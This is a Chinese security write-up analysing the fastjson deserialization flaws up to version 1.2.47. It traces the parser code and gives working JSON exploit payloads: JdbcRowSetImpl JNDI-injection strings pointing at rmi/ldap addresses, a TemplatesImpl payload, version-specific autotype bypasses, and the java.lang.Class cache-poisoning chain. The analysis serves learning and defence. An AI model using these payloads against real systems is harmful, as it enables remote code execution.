java安全之fastjson链分析

前段时间有师傅来问了我fastjson的问题，虽然知道大概但没分析过具体链，最近有空了正好分析一下fastjson两个反序列化洞：

• 1.2.22<=version<=1.2.24
• 1.2.25<=version<=1.2.47

简述与使用

Fastjson是Alibaba开发的Java语言编写的高性能JSON库，用于将数据在JSON和Java Object之间互相转换，提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

本文涉及相关实验：Fastjson反序列化漏洞（fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。）

项目地址：https://github.com/alibaba/fastjson

环境直接maven:

  <dependencies>
    ....
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.22</version>
    </dependency>
  </dependencies>

首先是关于fastjson的序列化与反序列化过程中会调用到类的get跟set方法，一个自建类：

package org.example;

public class JsonTest {
    private int _id;
    private String _name;
    private String _passwd;

    public JsonTest(int _id, String _name, String _passwd) {
        this._id = _id;
        this._name = _name;
        this._passwd = _passwd;
    }

    public JsonTest() {
    }

    public int get_id() {
        System.out.println("get "+_id);
        return _id;
    }

    public void set_id(int _id) {
        System.out.println("set "+_id);
        this._id = _id;
    }

    public String get_name() {
        System.out.println("get "+_name);
        return _name;
    }

    public void set_name(String _name) {
        System.out.println("set "+_name);
        this._name = _name;
    }

    public String get_passwd() {
        System.out.println("get "+_passwd);
        return _passwd;
    }

    public void set_passwd(String _passwd) {
        System.out.println("set "+_passwd);
        this._passwd = _passwd;
    }

    @Override
    public String toString() {
        return "JsonTest{" +
                "_id=" + _id +
                ", _name='" + _name + '\'' +
                ", _passwd='" + _passwd + '\'' +
                '}';
    }
}

Main:

public static void main(String[] args) {
  JsonTest jsonTest = new JsonTest(1,"uname","passwd");
  System.out.println("[1]================");
  String str = JSON.toJSONString(jsonTest);
  System.out.println("[2]================");
  System.out.println(str);
  System.out.println("[3]================");
  Object jsonTest1 = JSON.parseObject(str,JsonTest.class);
  System.out.println("[4]================");
  System.out.println(jsonTest1);

}

运行后得到了如下结果：

[1]================
get 1
get uname
get passwd
[2]================
{"id":1,"name":"uname","passwd":"passwd"}
[3]================
set 1
set uname
set passwd
[4]================
JsonTest{_id=1, _name='uname', _passwd='passwd'}

很明显的在序列化时会调用类中各属性的get方法，而反序列化时会调用其set方法。

在上述反序列化过程中需要多添加一个class类的参数：JsonTest.class

而fastjson也提供了一种无需指定类的方式，称为autotype，而这种autotype正是导致反序列化漏洞的原因。

给序列化过程的函数指定第二个参数：

JSON.toJSONString(jsonTest,SerializerFeature.WriteClassName);

此时能够得到一个指定了type的json串：

{"@type":"org.example.JsonTest","id":1,"name":"uname","passwd":"passwd"}

再对其反序列化时就无需再指定对应的类了：

Object jsonTest1 = JSON.parseObject(str);
System.out.println(jsonTest1);

当未对@type字段进行完全的安全性验证，攻击者可以传入危险类，从而调用危险类对目标机进行攻击，接下来分析一下其过程。

反序列化过程

先在JSON.parseObject处下个断点，跟入看看fastjson的反序列化过程。

首先进入到JSON.class中：

接着进入parse函数中：

public static Object parse(String text) {
        return parse(text, DEFAULT_PARSER_FEATURE);
    }

使用了默认的解析方式DEFAULT_PARSER_FEATURE去解析我们的json串，继续跟入：

    public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        } else {
            DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
            Object value = parser.parse();
            parser.handleResovleTask(value);
            parser.close();
            return value;
        }
    }

其构造器中有如下：

       int ch = lexer.getCurrent();
        if (ch == '{') {
            lexer.next();
            ((JSONLexerBase)lexer).token = 12;
        } else if (ch == '[') {
            lexer.next();
            ((JSONLexerBase)lexer).token = 14;
        } else {
            lexer.nextToken();
        }

其会根据对应的{或[去设置token，之后通过scanSymbol来获取到@type，并且autotype它还支持如下形式嵌套的串：

[
    {
        "@type": "xxx.xxx",
        "xxx": "xxx"
    },
    {
        "@type": "xxx.xxx",
        "xxx": {
            "@type": ""
        }
    },
    {
        "@type": "xxx"
    } : "xx",
    {
        "@type": "xxx"
    } : "xx"
]

其中对于字符串的还有如下对于双字节字符的处理：

\u或\x即是unicode或者16进制，而还有其他的如\v等，有师傅做了总结：

\0 \1 \2 \3 \4 \5 \6 \7 \b \t \n \r \" \' \/ \\\ 
等，java字符串读入之后会变成两个字符，因此，fastjson会把它转换会单个字符
\f \F双字符都会转成单字符\f
\v双字符转成\u000B单字符
\x..四字符16进制数读取转成单字符
\u....六字符16进制数读取转成单字符

这一个点其实可以用在某些filter的绕过上。

继续上面的scan，获取到@type后会继续获取到其类名，最后赋值给typeName，此时会进一步调用TypeUtils.loadClass去加载类：

之后会从mappings中尝试取出class类(mappings中存放的是一些内置类)：

如下，取不到后会去使用ClassLoader加载类并且将className和其class类put进mapping中。

接着进行反序列化：

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

一路跟去会有一个denyList:

这一个list默认情况下只有一个Thread类：

this.denyList = new String[]{"java.lang.Thread"};

最后会去调用到set方法。

1.2.22-1.2.24

这个版本下有两条利用链:JdbcRowSetImpl和Templateslmpl，还有一条BasicDataSource，下面逐一分析。

JdbcRowSetImpl

首先该链有两种利用方式：RMI+JNDI和RMI+LDAP

其中我使用到的是jdk8u66，关于高版本的限制以及绕过方式可以参考：

https://www.freebuf.com/column/207439.html

前面说到反序列化会调用到set方法，而漏洞的产生正是因为set方法，直接拿payload打一下：

public static void main(String[] args) {
  String payload = "
 {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/badClassName\", \"autoCommit\":true}";
  JSON.parse(payload);
}

直接在com.sun.rowset.JdbcRowSetImpl#setDataSourceName中下断点：

直接进入到else中直接将datasource设置为我们传入的值，再在setAutoCommit中下个断点：

同样进入else，关键在于这里的connect调用了lookup：

最后就造成了JNDI注入，LDAP同样如此，修改一下协议即可。

Templateslmpl

前面的链就不跟了，体力活，主要是了解其原理，具体可以看看：

https://www.cnblogs.com/afanti/p/10193158.html

https://xz.aliyun.com/t/8979#toc-6

payload我参考的是上面第二个链接，此处截取部分方便理解:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64 str"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

默认的知道以下划线开头是private属性，通过fastjson其实是无法直接赋值的，需要在parse时设置Feature.SupportNonPublicField强制给private属性赋值，因此这条链实际作用不大，不过分析一下锻炼一下代码审计能力。

首先是对于下划线的处理，在JavaBeanDeserializer#smartMatch中会处理掉下划线，之后去调用对应的set方法，bytecodes在最后会进行base64解码，并且bytecode是binary，fastjson中不支持反序列化此类字符串，因此这也是其为base64字符串的原因，而对于_outputProperties这一个属性比较特殊，它调用到的不是set方法而是get方法，因此我着重跟一下它。

因为在调用set方法时都是经过FieldDeserializer#setValue，因此在此处下个断点。

跟到下面调用到了getOutputProperties方法是通过invoke，之后就执行命令了：

但method的来源还需要追究一下。

经过不断debug能够在ParserConfig的createJavaBeanDeserializer检测到sortedFieldDeserializers的变化，而sortedFieldDeserializers正是获取到getOutputProperties的关键：

在createJavaBeanDeserializer中调用了JavaBeanInfo#build，一路debug能够发现获取一个set方法时是通过如下代码：

同样位于build函数下有一段获取getter的代码：

其中OutputProperties的getter就是从这里获取到，不过这还是无法解除关于为什么要获取getter的疑惑，回到前面的FieldDeserializer#setValue，在使用invoke调用getOutputProperties后，得到的是一个Map类，而随后会对map调用putAll：

Map map = (Map)method.invoke(object);
if (map != null) {
    map.putAll((Map)value);
}

也就说如果一个json串：

{"@type": "xxx.xxx", "hhhm": {"key": "value"}}

会需要将{"key": "value"}放入hhhm中，因此需要先调用get来获取到这一个map以便于后续的赋值。

跟入getOutputProperties->newTransformer->defineTransletClasses，实例化了bytecodes，然后在：

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

经过一系列调用最后就到了TEMPOC中执行到RCE:

BasicDataSource

省赛遇到的一道题才知道原来还有这条链，先mark下：

http://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/

该链只能用于Fastjson 1.2.24及更低版本，使用范围相较于前两条链而言较小，链接处文章写的也很详细，不做过多叙述。

1.2.25-1.2.45部分绕过

直接拿着原来的链打会发现报错，发现多了一个ParserConfig.checkAutoType方法，在1.2.25中对DefaultJSONParser#parseObject中的TypeUtils.loadClass进行了修复：

//1.2.24
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
//1.2.25
Class<?> clazz = config.checkAutoType(typeName);

autoTypeSupport默认修改为false：

需要通过如下方式开启：

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

并且有一个denylist，来过滤掉前面用到的链中的类：

部分手动开启autoType的绕过链就不分析了，绕过的点也比较容易看出，具体看https://xz.aliyun.com/t/9052

这部分绕过个人感觉适用于ctf中，不做分析了，下面贴一下payload。

1.2.25-1.2.41

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.42

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.43

{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.45

需要目标服务端存在mybatis的jar包，且版本需为3.x.x系列<3.5.0的版本

payload:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}

1.2.25-1.2.47

这条链是通杀的，比较厉害的是其不需要开启AutoTypeSupport，相对于上面提到的绕过而言利用面广泛的多，因此着重分析一下。

该链在<1.2.32之前，如果开启了AutoTypeSupport则无法利用，在>1.2.32后五轮是否开启都可以利用。

payload:

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}

前面提到在checkAutoType中有这么一个if：

if (this.autoTypeSupport || expectClass != null) 

因为autoTypeSupport默认为false，所以if内的代码都跳过了，而这条链的利用也无需这一个if，跟到后面：

这里的deserializers.findClass比较关键:

此处的this.buckets会发现其内置了很多的类，如：

那么问题也就是出在这里，我们目前传入的类是java.lang.class，而该类正处于这一个buckets中，而deserializers中有一个put方法，正是这一个方法将类放入白名单中从而避过了autotype的限制。

偏一下话题，稍微往前追溯一点能够找到如下一个初始化deserializers对象的方法：

白名单中的类都在此处。

比较好奇的是此处的class类的作用，在对class类进行反序列化时，其调用链如下：

deserializer#deserialze
->
TypeUtils#loadClass(strVal,parser.getConfig().getDefaultClassLoader())
//strVal=com.sun.rowset.JdbcRowSetImpl
->
TypeUtils#loadClass(className, classLoader, true)
//className=com.sun.rowset.JdbcRowSetImpl

此处的TypeUtils#loadClass在前面分析1.2.22-1.2.24链中提到过，其会尝试从mappings中取出类：

Class<?> clazz = (Class)mappings.get(className);

在取不到时会调用类加载器去加载类，此时就取到了com.sun.rowset.JdbcRowSetImpl。

之后最致命的操作就是：

mappings.put(className, clazz);

将com.sun.rowset.JdbcRowSetImpl这一个类放入了mappings中，而在加载b字典中的JdbcRowSetImpl类时，调用到的是：

他会直接从mappings中取类，而前面已经将JdbcRowSetImpl放入mappings中，此时达成了绕过autotype关闭的限制。

开发目的应该是为了程序运行效率，省去每次都需要去重新加载类的麻烦，但却因为class在反序列化时会调用loader将其他类装载进来导致了绕过名单的后果。

而在1.2.48 修复了这一漏洞，将反序列化class对象时的cache设置为false：

if (cache) {
  mappings.put(className, clazz);
}

此时就不会将class类装载进缓存中了。